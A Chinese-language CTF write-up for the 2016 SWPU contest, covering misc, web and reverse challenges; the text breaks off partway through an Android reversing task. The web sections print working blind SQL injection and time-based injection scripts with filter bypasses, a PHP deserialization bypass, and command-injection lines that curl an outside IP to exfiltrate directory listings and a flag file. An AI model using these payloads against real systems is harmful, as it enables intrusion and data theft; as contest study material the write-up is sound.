2016 SWPU CTF的WriteUp

2.1.题目信息

地址: QQ群:184517991 
分值: 50
Flag: flag{welcome_swpu_ctf}

2.2.解题过程

进入他们官方的QQ群,找了一圈没找到Flag,然后问了下管理员,管理员表示Flag在历史公告,But我的Mac QQ并不能看历史公告,于是。。。

嗯,这是一道送分题

3.Misc150(Misc2)

2.1.题目信息

地址: http://misc.08067.me/misc2/misc.pcapng
分值: 150
Flag: flag{Rgb_dhskjadyhjksndjsagh}

2.2.解题过程

得到是个pcapng包,直接丢WireShark
发现有一大堆的HTTP通信包,于是直接看下HTTP的导出对象里有什么,果然功夫不负有心人

有一个名为flag.zip的文件,解压开,得到一个名为ce.txt的文件,打开之后发现其记载的似乎是一些RGB值

然后估计应该是依据这些RGB值来画图,看了一下这些信息,有98457行
然后首先要得到图片的长和宽,把98457因式分解下可得到

1

98457 = 37 * 3 * 887

感觉887作为长是比较OK的,37*3作为宽,于是得到图片大小为887 * 111
接下来写个小程序就可以画出来了

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

from PIL import Image

x=887 # 长

y=111 # 宽

f = open("ce.txt", ‘r‘)

rgbinfo = f.readlines()

f.close()

c = Image.new("RGB", (x, y))

for i in range(0, x):

for j in range(0, y):

rgb = rgbinfo[i * y + j].split(", ")

c.putpixel([i, j],(int(rgb[0]), int(rgb[1]), int(rgb[2])))

c.show()

4.Misc100(Misc4)

2.1.题目信息

地址: http://misc.08067.me/misc4/fuck.html
分值: 100
Flag: flag{wjTdUoAgqzxxnjfa9kan}

2.2.解题过程

老实说,这也是一道送分题,给的说明是fuck!!fuck!!,进去一看,乐了,JSFuck,于是估计下一个是BrainFuck

直接丢Chrome的Console跑一下

还真是BrainFuck

1

+++++ +++++ [->++ +++++ +++<] >++.+ +++++ .<+++ [->-- -<]>- -.+++ +++.<++++[ ->+++ +<]>+ +++.- ---.< +++[- >---< ]>--- -.<++ ++[-> ----< ]>------.< ++++[ ->+++ +<]>. <+++[ ->--- <]>-- ----. <++++ +[->+ ++++< ]>+.<+++++ +[->- ----- <]>-- ----- ---.< +++++ +[->+ +++++ <]>++ .<+++ [->+++<]>+ .++++ +++++ .--.. <+++[ ->--- <]>-. ----. ----. ----- .<+++ +++[->---- --<]> ----. <++++ +++[- >++++ +++<] >+.<+ ++[-> ---<] >-.<+ ++[->+++<] >++++ .<+++ [->++ +<]>+ +++++ .<

找到一个在线运行这玩意的网站,拿到了Flag
https://www.nayuki.io/page/brainfuck-interpreter-javascript

5.Web200-1(Web1)

2.1.题目信息

地址: http://web1.08067.me/
分值: 200
Flag: flag{sql_iNJEct_comMond_eXEC!}

2.2.解题过程

只给了一个登录框,然后没了,那么尝试了一下admin, admin提示密码错误,再尝试了下其他的用户名密码,提示用户名错误,确定用户名就是admin
然后尝试了下万能密码,发现是有WAF检测的

另外HTTP头这里给出了提示

1

JHF1ZXJ5PSJTRUxFQ1QgKiBGUk9NIGFkbWluIFdIRVJFIHVuYW1lPSciLiR1bmFtZS4iJyI7aWYgKCRyb3dbJ3Bhc3N3ZCddPT09JHBhc3N3ZCl7JF9TRVNTSU9OWydmbGFnJ10gPSAxOw==

base64_decode之后内容为

1

2

3

4

$query="SELECT * FROM admin WHERE uname=‘".$uname."‘";

if ($row[‘passwd‘]===$passwd){

$_SESSION[‘flag‘] = 1;

}

得到了他的查询语句。
如果被ban了则提示illegal [email protected][email protected]
那么首先先看下都有哪些被ban了,经过Fuzz发现

1

2

3

4

5

6

7

8

空格

or

and

union

+

*

,

<TAB> 制表符

等等,都是被ban掉了,所以我们可用的就剩下

1

2

3

4

5

6

()

=

select

from

where

以及不含关键词的mysql自带函数
于是这是肉眼可见的一个盲注,接下来怎么注入就是问题了
显然没了空格,那么得先找到一个办法不需要空格也能注入的,因为*被Ban了所以注释代替空格也废了
在网上查找了一番,发现可以利用括号来代替空格

MySQL

1

2

select pass from admin where user=‘Seclover‘

select(pass)from(admin)where(user)=(‘Seclover‘)

这两条语句是没有任何区别的

于是,在这里我们可以用()来绕过空格被过滤的情况,第一步,大功告成,
然后接下来,得想一个办法把末尾的’消灭掉,因为用空格代替之后的语句最后一个肯定是),But人家原先的语句最后一个肯定是’,所以接下来就需要构造我们的布尔条件了
在mysql的where里,允许如下这种的比较

MySQL

1

select pass from admin where user=‘-1‘=1=‘0‘

其比较过程从左至右,依次比较,需要注意的是,在mysql里字符串表示为真,数字1(字符串格式的数字同样)同样表示为真,数字0(字符串格式的数字同样)可以表示为假,没取到数据也可以表示为假

1

2

3

user的查询结果和‘-1‘比较 --> 结果为假(0)

假与1比较 ----------------> 结果为假(0)

假与‘0‘比较 --------------> 结果为真(1)

于是最后的结果为真,所以我们可以控制的是他的逻辑
让原先的查询条件(user=xxx)为假,让最后的比较(xxx=’0′)为假,这样我们在中间的1就可以自己任意控制了,再加上mysql的子查询,就可以构造出完整的payload

MySQL

1

2

3

4

# -------------- Payload -------------- #

uname=uname‘=(select(1)from(admin)where(‘1‘)=(‘1‘))=‘&passwd=1

# -------------- 查询语句 -------------- #

SELECT * FROM admin WHERE uname=‘uname‘=(select(1)from(admin)where(‘1‘)=(‘1‘))=‘‘;

提交之后发现提示password error,说明uname取出来了,即我们给出的条件为真

但是如果没取出来,则提示username error,说明uname没取出来,即我们给出的条件为假

于是接下来我们只要跑这个布尔盲注即可
然后猜passwd有多少位,二分法,最多100位,他不会真丧心病狂的把passwd搞成100位以上吧

MySQL

1

2

3

4

5

6

7

8

9

10

11

# -------------- Payload -------------- #

uname=uname‘=(select(1)from(admin)where(length(passwd))<100)=‘&passwd=1 # 正确,位数< 100

uname=uname‘=(select(1)from(admin)where(length(passwd))<50)=‘&passwd=1  # 正确,位数< 50

uname=uname‘=(select(1)from(admin)where(length(passwd))<25)=‘&passwd=1  # 错误,25 < 位数 < 50

uname=uname‘=(select(1)from(admin)where(length(passwd))<30)=‘&passwd=1  # 错误,30 < 位数 < 50

uname=uname‘=(select(1)from(admin)where(length(passwd))<35)=‘&passwd=1  # 正确,30 < 位数 < 35

uname=uname‘=(select(1)from(admin)where(length(passwd))<33)=‘&passwd=1  # 正确,30 < 位数 < 33

uname=uname‘=(select(1)from(admin)where(length(passwd))<32)=‘&passwd=1  # 错误,32 < 位数 < 33

uname=uname‘=(select(1)from(admin)where(length(passwd))=32)=‘&passwd=1  # 正确,位数=32

# -------------- 查询语句 -------------- #

SELECT * FROM admin WHERE uname=‘uname‘=(select(1)from(admin)where(length(passwd))=32)=‘‘;

passwd有32位,猜测是个md5,
然后发现有个坑···逗号被ban了,尴尬,mid substr都废了,But这俩要废了,布尔盲注就相当于废了,本着不信邪的原则上网各种找资料
http://www.2cto.com/Article/201609/545408.html找到这么一段话

逗号绕过
在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决。

MySQL

1

2

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

但是for里又包含关键词or,所以for也不能用,最后尝试把for 1直接删掉,发现是可以执行的
不断变换最后from的1(N),则mid或是substr将会从右往左开始取第N位到末尾
上个图就很容易看明白了

OK,最后一个问题也解决了,愉快的注入吧
这里写了个python的小脚本来慢慢跑

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

import hackhttp

hh = hackhttp.hackhttp()

md5_str = ‘1234567890abcdef‘

flag = ""

url = "http://web1.08067.me/login.php"

for length in range(0,33):

for i in md5_str:

raw = ‘‘‘POST /login.php HTTP/1.1

Host: web1.08067.me

Content-Length: 76

Cache-Control: max-age=0

Origin: http://web1.08067.me

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.143 Safari/537.36

Content-Type: application/x-www-form-urlencoded

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

DNT: 1

Referer: http://web1.08067.me/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: PHPSESSID=h28ht7sld80jlsvcil0q5e2p90

uname=uname‘=(select(1)from(admin)where(mid((passwd)from(%d))=‘%s%s‘))=‘&passwd=1‘‘‘ % (32-length,i,flag)

a,b,c,d,e = hh.http(url,raw=raw)

if "password" in c:

flag = i + flag

print 32-length,flag

很快结果就出来了

1

c12366feb7373bf6d869ab7d581215cf

扔到cmd5查一下

OK,得到密码为1234567mn,直接用admin登陆进去吧
登陆进去懵逼了,一脸懵逼,对角懵逼,排比懵逼,二叉树懵逼,霍夫曼懵逼,薛定谔懵逼,空中转体两周半懵逼,阿姆斯特朗回旋加速式阿姆斯特朗懵逼,反正就是各种懵逼就对了

What The Fuck!!!!,这踏马是个什么鬼!!!说好的Flag呢!!!
看来还有最后的考验,看起来像是命令执行,执行成功会有提示,失败了也会有提示,就是没有回显,然而一旦命令里有空格就GG了,好吧,找个在linux能代替空格的东西
在本机尝试之后,发现这玩意,也就是制表符能代替Linux命令行下的空格
最后就是解决回显的问题了,在问了出题人之后,确认了自己的思路,需要利用Cloud Eye或是Web Server Log把数据透传出来
那简单了,利用这个把命令裹起来,然后curl到自己服务器,直接查看自己服务器的Web Server Log就可以知道数据了
最终的payload

Shell

1

2

3

4

5

curl    http://114.215.113.20/`ls   ./|head -n  1   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ./|head -n  2   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ./|head -n  3   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ./|head -n  4   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ./|head -n  5   |   tail    -n  1`

执行完成之后用head和tail取其中第N条数据,然后带着这个数据去访问我的服务器,我只要查看我的webserver的log就可以了


看来flag不在当前目录,跳到上层目录看看

Shell

1

2

3

4

5

6

7

8

9

10

curl    http://114.215.113.20/`ls   ../|head    -n  1   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  2   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  3   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  4   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  5   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  6   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  7   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  8   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  9   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../|head    -n  10  |   tail    -n  1`


上层目录也没有,再往上看

Shell

1

2

3

4

curl    http://114.215.113.20/`ls   ../../|head -n  1   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../../|head -n  2   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../../|head -n  3   |   tail    -n  1`

curl    http://114.215.113.20/`ls   ../../|head -n  4   |   tail    -n  1`


嗯,看到flag了,cat下看看

Shell

1

curl    http://114.215.113.20/`cat  ../../flag`


搞定,flag似乎少了{},在flag之后和末尾加上就好了

6.WEB200-2(Web3)

2.1.题目信息

地址: http://web3.08067.me/wakeup/index.php
分值: 200
Flag: flag{WakEup!_v1ry_f4N}

2.2.解题过程

提示,出题人喜欢在编辑器下修改代码,于是猜测是不是有.bak .swp文件,查看了一下robots.txt和bak swp文件
得到两个bak
/wakeup/index.php.bak

PHP

1

2

3

4

5

6

7

8

9

10

if(isset($_COOKIE[‘user‘])){

$login = @unserialize(base64_decode($_COOKIE[‘user‘]));

if(!empty($login->pass)){

$status = $login->check_login();

if($status == 1){

$_SESSION[‘login‘] = 1;

var_dump("login by cookie!!!");

}

}

}

/wakeup/index.php.bak

PHP

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

171

172

173

174

175

176

177

178

179

180

181

182

183

184

185

186

187

188

189

190

191

192

193

194

195

196

197

198

199

200

class help {

static function addslashes_deep($value)

{

if (empty($value))

{

return $value;

}

else

{

if (!get_magic_quotes_gpc())

{

$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));

}

else

{

$value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);

}

return $value;

}

}

static function remove_xss($string) {

$string = preg_replace(‘/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S‘, ‘‘, $string);

$parm1 = Array(‘javascript‘, ‘union‘,‘vbscript‘, ‘expression‘, ‘applet‘, ‘xml‘, ‘blink‘, ‘link‘, ‘script‘, ‘embed‘, ‘object‘, ‘iframe‘, ‘frame‘, ‘frameset‘, ‘ilayer‘, ‘layer‘, ‘bgsound‘, ‘base‘);

$parm2 = Array(‘onabort‘, ‘onactivate‘, ‘onafterprint‘, ‘onafterupdate‘, ‘onbeforeactivate‘, ‘onbeforecopy‘, ‘onbeforecut‘, ‘onbeforedeactivate‘, ‘onbeforeeditfocus‘, ‘onbeforepaste‘, ‘onbeforeprint‘, ‘onbeforeunload‘, ‘onbeforeupdate‘, ‘onblur‘, ‘onbounce‘, ‘oncellchange‘, ‘onchange‘, ‘onclick‘, ‘oncontextmenu‘, ‘oncontrolselect‘, ‘oncopy‘, ‘oncut‘, ‘ondataavailable‘, ‘ondatasetchanged‘, ‘ondatasetcomplete‘, ‘ondblclick‘, ‘ondeactivate‘, ‘ondrag‘, ‘ondragend‘, ‘ondragenter‘, ‘ondragleave‘, ‘ondragover‘, ‘ondragstart‘, ‘ondrop‘, ‘onerror‘, ‘onerrorupdate‘, ‘onfilterchange‘, ‘onfinish‘, ‘onfocus‘, ‘onfocusin‘, ‘onfocusout‘, ‘onhelp‘, ‘onkeydown‘, ‘onkeypress‘, ‘onkeyup‘, ‘onlayoutcomplete‘, ‘onload‘, ‘onlosecapture‘, ‘onmousedown‘, ‘onmouseenter‘, ‘onmouseleave‘, ‘onmousemove‘, ‘onmouseout‘, ‘onmouseover‘, ‘onmouseup‘, ‘onmousewheel‘, ‘onmove‘, ‘onmoveend‘, ‘onmovestart‘, ‘onpaste‘, ‘onpropertychange‘, ‘onreadystatechange‘, ‘onreset‘, ‘onresize‘, ‘onresizeend‘, ‘onresizestart‘, ‘onrowenter‘, ‘onrowexit‘, ‘onrowsdelete‘, ‘onrowsinserted‘, ‘onscroll‘, ‘onselect‘, ‘onselectionchange‘, ‘onselectstart‘, ‘onstart‘, ‘onstop‘, ‘onsubmit‘, ‘onunload‘,‘href‘,‘action‘,‘location‘,‘background‘,‘src‘,‘poster‘);

$parm3 = Array(‘alert‘,‘sleep‘,‘load_file‘,‘confirm‘,‘prompt‘,‘benchmark‘,‘select‘,‘and‘,‘or‘,‘xor‘,‘update‘,‘insert‘,‘delete‘,‘alter‘,‘drop‘,‘truncate‘,‘script‘,‘eval‘,‘outfile‘,‘dumpfile‘);

$parm = array_merge($parm1, $parm2, $parm3);

for ($i = 0; $i < sizeof($parm); $i++) {

$pattern = ‘/‘;

for ($j = 0; $j < strlen($parm[$i]); $j++) {

if ($j > 0) {

$pattern .= ‘(‘;

$pattern .= ‘(&#[x|X]0([9][a][b]);?)?‘;

$pattern .= ‘|(&#0([9][10][13]);?)?‘;

$pattern .= ‘)?‘;

}

$pattern .= $parm[$i][$j];

}

$pattern .= ‘/i‘;

$string = preg_replace($pattern, ‘****‘, $string);

}

return $string;

}

static function mystrip_tags($string)

{

$string =  help::new_html_special_chars($string);

$string =  help::remove_xss($string);

return $string;

}

static function new_html_special_chars($string) {

$string = str_replace(array(‘&‘, ‘"‘, ‘<‘, ‘>‘,‘&#‘), array(‘&‘, ‘"‘, ‘<‘, ‘>‘,‘***‘), $string);

return $string;

}

// 实体出库

static function htmlspecialchars_($value)

{

if (empty($value))

{

return $value;

}

else

{

if(is_array($value)){

foreach ($value as $k => $v) {

$value[$k] = self::htmlspecialchars_($v);

}

}else{

$value = htmlspecialchars($value);

}

return $value;

}

}

//sql 过滤

static function CheckSql($db_string,$querytype=‘select‘)

{

$clean = ‘‘;

$error=‘‘;

$old_pos = 0;

$pos = -1;

if($querytype==‘select‘)

{

$notallow1 = "[^[email protected]\._-]{1,}(load_file|outfile)[^[email protected]\.-]{1,}";

if(preg_match("/".$notallow1."/i", $db_string))

{

exit("Error");

}

}

//完整的SQL检查

while (TRUE)

{

$pos = strpos($db_string, ‘\‘‘, $pos + 1);

if ($pos === FALSE)

{

break;

}

$clean .= substr($db_string, $old_pos, $pos - $old_pos);

while (TRUE)

{

$pos1 = strpos($db_string, ‘\‘‘, $pos + 1);

$pos2 = strpos($db_string, ‘\\‘, $pos + 1);

if ($pos1 === FALSE)

{

break;

}

elseif ($pos2 == FALSE || $pos2 > $pos1)

{

$pos = $pos1;

break;

}

$pos = $pos2 + 1;

}

$clean .= ‘$s$‘;

$old_pos = $pos + 1;

}

$clean .= substr($db_string, $old_pos);

$clean = trim(strtolower(preg_replace(array(‘~\s+~s‘ ), array(‘ ‘), $clean)));

if (strpos($clean, ‘@‘) !== FALSE  OR strpos($clean,‘char(‘)!== FALSE OR strpos($clean,‘"‘)!== FALSE

OR strpos($clean,‘$s$$s$‘)!== FALSE)

{

$fail = TRUE;

if(preg_match("#^create table#i",$clean)) $fail = FALSE;

$error="unusual character";

}

elseif (strpos($clean, ‘/*‘) !== FALSE ||strpos($clean, ‘-- ‘) !== FALSE || strpos($clean, ‘#‘) !== FALSE)

{

$fail = TRUE;

$error="comment detect";

}

elseif (strpos($clean, ‘sleep‘) !== FALSE && preg_match(‘~(^|[^a-z])sleep($|[^[a-z])~is‘, $clean) != 0)

{

$fail = TRUE;

$error="slown down detect";

}

elseif (strpos($clean, ‘benchmark‘) !== FALSE && preg_match(‘~(^|[^a-z])benchmark($|[^[a-z])~is‘, $clean) != 0)

{

$fail = TRUE;

$error="slown down detect";

}

elseif (strpos($clean, ‘load_file‘) !== FALSE && preg_match(‘~(^|[^a-z])load_file($|[^[a-z])~is‘, $clean) != 0)

{

$fail = TRUE;

$error="file fun detect";

}

elseif (strpos($clean, ‘into outfile‘) !== FALSE && preg_match(‘~(^|[^a-z])into\s+outfile($|[^[a-z])~is‘, $clean) != 0)

{

$fail = TRUE;

$error="file fun detect";

}

if (!empty($fail))

{

exit("Error" . $error);

}

else

{

return $db_string;

}

}

}

class login{

var $uid = 0;

var $name=‘‘;

var $pass=‘‘;

//检查用户是否已登录

public function check_login(){

mysql_conn();

$sqls = "select * from phpinfoadmin where username=‘$this->name‘";

$sqls = help::CheckSql($sqls);

$re = mysql_query($sqls);

$results = @mysql_fetch_array($re);

//echo $sqls . $results[‘passwd‘];

mysql_close();

if (!empty($results))

{

if($results[‘passwd‘] == $this->pass)

{

return 1;

}

else

{

return 0;

}

}

}

//预防cookie某些破坏导致登陆失败

public function __destruct(){

$this->check_login();

}

//反序列化时检查数据

public function __wakeup(){

$this->name = help::addslashes_deep($this->name);

$this->pass = help::addslashes_deep($this->pass);

}

}

?>

从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()
在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词


所以首先要把__wakeup()给Bypass掉
在网上寻找之后,发现在php5.6以下的版本是有一漏洞的,CVE-2016-7124
http://www.tuicool.com/articles/aMfeEfJ
https://bugs.php.net/bug.php?id=72663
当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行
那么接下来构造序列化字符串就行

PHP

1

2

3

O:5:"login":2:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}

----------------------

O:5:"login":5:{s:4:"name";s:5:"admin";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}

当使用第二条序列化的字符串时,将会绕过__wakeup()的执行
OK,第一步已经完成了,接下来想办法绕过help::CheckSql()的检查即可
这里卡了半天,最后不得已问了下出题人,出题人表示这里是个时间盲注,然后看了下代码,sleep被ban了。然后再问出题人,出题人表示和80sec-ids有关,然后就不说话了- -!
在DeDeCMS里用的也是这一个WAF,在网络上查找一番之后,发现如果数据被两个引号包裹的话,就不会进行检测,也就意味着sleep可以逃逸出来了,然后想办法把引号包含进去,在查(xun)阅(web)过相关(chu)资(ti)料(ren)之后,了解到在mysql中,以
包裹的字符串会当做表名/列名处理,如果是包裹的单引号的话,也就相当于什么都没有包裹,于是只要改变原有的where条件就可以了。
那么最终的payload就是

MySQL

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=34) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=35) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=36) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=37) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,1,1))=38) and (`‘`.``.username=1 or sleep(3)) #

·········

# ------------------------------------------------------------------------------------------------------ #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=33) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=34) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=35) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=36) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=37) and (`‘`.``.username=1 or sleep(3)) #

admin‘ and (select 1 from flag where ascii(mid(flag,2,1))=38) and (`‘`.``.username=1 or sleep(3)) #

·········

写个小程序去处理这一切吧

Python

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

import hackhttp

import time

def base64(s):

import base64

return base64.b64encode(s)

hh = hackhttp.hackhttp()

flag = ""

for i in range(1,40):

for j in range(33,125):

payload = "admin‘ and (select 1 from flag where ascii(mid(flag,%d,1))=%d) and (`‘`.``.username=1 or sleep(3)) #"% (i,j)

payload_len = len(payload)

serialize_str = ‘‘‘O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}‘‘‘ % (payload_len,payload)

raw = ‘‘‘GET /wakeup/index.php HTTP/1.1

Host: web3.08067.me

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

DNT: 1

Accept-Encoding: gzip, deflate, sdch

Accept-Language: zh-CN,zh;q=0.8,en;q=0.6

Cookie: user=%s

‘‘‘ % base64(serialize_str)

url = "http://web3.08067.me/wakeup/index.php"

start = time.time()

a,b,c,d,e = hh.http(url,raw=raw)

end = time.time()

exec_time = end-start

if exec_time > 3:

flag += chr(j)

print i,flag

break

差不多5分钟左右flag就出来了(时间盲注真够蛋疼的)
这里是成功的图

7.REVERSE50(CM50)

2.1.题目信息

地址: http://misc.08067.me/CM50/CM50.exe
分值: 50
Flag: Flag{sWpU_the_1_R3}

2.2.解题过程

讲道理,这题也是一个送分题,基本可以看做是Reverse类型的签到题
下载下来是个exe,打开之后提示缺少两个dll,mfc120ud.dll和msvcr120d.dll,补齐dll后界面如图所示

丢到IDA里没发现啥东西,然后突发奇想是不是把什么元素/控件隐藏起来了,于是用ResHacker打开看看,果不其然Flag就在其中

8.REVERSE100(CM100)

2.1.题目信息

地址: http://misc.08067.me/CM100/CM100.exe
分值: 100
Flag: Flag{lr{-l0F-)uFe?}

2.2.解题过程

CM100不是我做的,找了Incken帮我搞定的,所以这里也就直接让他帮我写了这题的WP。
先查下壳,没有。直接扔进OD,运行。提示“wrong”,在堆栈向下找

这里似乎是flag,但其实不是。还是静态分析吧。
在ida里直接搜索字串flag。

找到位置直接F5看C代码。

获取输入值后先与12345678异或,然后与26544631比较,真则设dword_DE4028为1,否则设0并报”wrong”。
之后异或值再与12345678异或参与真flag的计算。Text为假flag字串。
上图中标出的位置应该是由于不小心,导致了V10的访问过界。应该是i % 8。
剩下就简单了,所以最后的密码也就是输入值与12345678异或之后和26544631
反过来就是

1

12345678 ^ 26544631 = 19491001

通过12345678与26544631异或算出正确输入值.
然后让程序告诉我们真的flag吧。

9.WEB50(Web签到)

2.1.题目信息

地址: http://139.196.35.85/
分值: 50
Flag: flag{This_a_web!}

2.2.解题过程

Web系列的签到题,右键查看源代码就行

10.REVERSE150

2.1.题目信息

地址: http://misc.08067.me/CM150/cm150.apk
分值: 150
Flag: Flag{I’m_s0_Tir3D|T-T}

2.2.解题过程

题目是个apk,安装上去之后只有一个输入框和一个按钮

不说话,直接拖到jadx里看源代码,在com.example.test1这个包的MainActiveity里就可以直接看到代码

Java

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

69

70

71

72

73

74

75

76

77

78

79

80

81

82

83

84

85

86

87

88

89

90

91

92

93

94

95

96

97

98

99

package com.example.test1;

import android.app.Activity;

import android.os.Bundle;

import android.view.Menu;

import android.view.MenuItem;

import android.view.View;

import android.view.View.OnClickListener;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

public class MainActivity extends Activity {

String Flag = "";

String encode;

String encode1;

int flag = 0;

public String Encode1(String Flag, int len) {

char[] xor = Flag.toCharArray();

int[] encode = new int[16];

if (len != 16) {

return "lalalalalalala~~";

}

int i;

for (i = 0; i < Flag.length(); i++) {

encode[i] = xor[i];

encode[i] = encode[i] ^ 29;

}

for (i = 1; i < 8; i++) {

int temp = encode[i];

encode[i] = encode[15 - i];

encode[15 - i] = encode[i];

}

for (i = 0; i < 16; i++) {

xor[i] = (char) encode[i];

}

return String.valueOf(xor);

}

public String Encode2(String encode, String Flag) {

char[] xor1 = encode.toCharArray();

char[] xor2 = Flag.toCharArray();

for (int i = 0; i < 16; i++) {

if (i % 2 == 0) {

xor1[i] = xor2[i];

}

}

return String.valueOf(xor1);

}

public int chack(String encode1) {

char[] xor = encode1.toCharArray();

int[] sum = new int[16];

int[] sum1 = new int[]{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73};

for (int i = 0; i < 16; i++) {

sum[i] = xor[i];

if (sum[i] != sum1[i]) {

return 0;

}

}

return 1;

}

protected void onCreate(Bundle savedInstanceState) {

super.onCreate(savedInstanceState);

setContentView(R.layout.activity_main);

((Button) findViewById(R.id.button1)).setOnClickListener(new OnClickListener() {

public void onClick(View v) {

EditText Text1 = (EditText) MainActivity.this.findViewById(R.id.Text1);

MainActivity.this.Flag = Text1.getText().toString();

if (MainActivity.this.Flag.length() != 16) {

Toast.makeText(MainActivity.this, "something wrong~~", 0).show();

return;

}

MainActivity.this.encode = MainActivity.this.Encode1(MainActivity.this.Flag, MainActivity.this.Flag.length());

MainActivity.this.encode1 = MainActivity.this.Encode2(MainActivity.this.encode, MainActivity.this.Flag);

MainActivity.this.flag = MainActivity.this.chack(MainActivity.this.encode1);

if (MainActivity.this.flag == 1) {

Toast.makeText(MainActivity.this, "WOw~, You got it !", 0).show();

} else {

Toast.makeText(MainActivity.this, "trg again~", 0).show();

}

}

});

}

public boolean onCreateOptionsMenu(Menu menu) {

getMenuInflater().inflate(R.menu.main, menu);

return true;

}

public boolean onOptionsItemSelected(MenuItem item) {

if (item.getItemId() == R.id.action_settings) {

return true;

}

return super.onOptionsItemSelected(item);

}

}

根据代码流程,输入的字符串要为16位,然后进行Encode1
Encode1的过程如下
把字符串的每个字符的ASCII HEX转成数组(toCharArray),
每一位与0x29异或,然后把
第14位的值设为第2位
第13位的值设为第3位
第12位的值设为第4位
第11位的值设为第5位
第10位的值设为第6位
第9位的值设为第7位
然后结果return回去,Encode1就完了,进入Encode2阶段
在Encode2阶段,把每个双数位的值换成相应位置输入的值
例如输入abcdefghijklmnop,encode之后的结果为|rspqvwttwvqpsrm
然后进入encode2,双位替换

1

2

3

4

5

6

7

8

|rspqvwttwvqpsrm    Encode1(input)

abcdefghijklmnop    input

| | | | | | | |

| | | | | | | |

+-+-+-+-+-+-+-+-    +替换 -不替换

|r|p|v|t|w|q|s|m

| | | | | | | |

arcpevgtiwkqmsom    output

经过Encode2的结果与{73, 48, 109, 97, 115, 46, 95, 116, 105, 111, 51, 89, 124, 73, 45, 73}的每一位比较
所以第一步就可以先把Encode2的结果推回去,先转换为ASCII字符 I0mas._tio3Y|I-I

1

2

3

I0mas._tio3Y|I-I

| | | | | | | |

